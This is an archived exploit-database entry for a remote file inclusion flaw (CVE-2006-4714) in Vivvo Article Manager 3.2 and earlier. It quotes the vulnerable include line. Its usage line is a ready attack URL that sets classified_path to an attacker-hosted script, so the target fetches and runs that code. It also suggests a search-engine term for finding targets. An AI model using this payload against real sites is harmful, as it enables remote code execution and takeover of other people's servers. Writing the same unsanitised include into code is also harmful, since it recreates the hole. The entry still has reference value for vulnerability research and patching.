Vivvo Article Manager <= 3.2 - classified_path File Include Vulnerability

2006-09-09T00:00:00
ID EDB-ID:2339
Type exploitdb
Reporter MercilessTurk
Modified 2006-09-09T00:00:00

Description

Vivvo Article Manager <= 3.2 (classified_path) File Include Vulnerability. CVE-2006-4714. Webapps exploit for php platform

                                        
                                            #########################################################################
#MercilessTurk info@kahramanhost.com
#########################################################################
#App Name: phpWordPress (Vivvo Article Manager)
#App Author: vivvo.net
#App Version: &lt;=3.2
#########################################################################
#Vulnerable Code in HTML_function.php function HTML_Category_Menu() :
#line 51: include_once($classified_path.'export_category.php');
#if register_globals = On then this code can include $_GET['classified_path']
#in index.php HTML_Category_Menu() function is called:
#line 45:
#$box_sections_HTML=HTML_Category_Menu();
#########################################################################
#Usage:
#http://[target]/[path]/index.php?classified_path=http://[evil_script]?
#########################################################################
#For google searching:Vivvo Article Manager
#########################################################################
#Greetz: sanaldarbe.com members.
#########################################################################

# milw0rm.com [2006-09-09]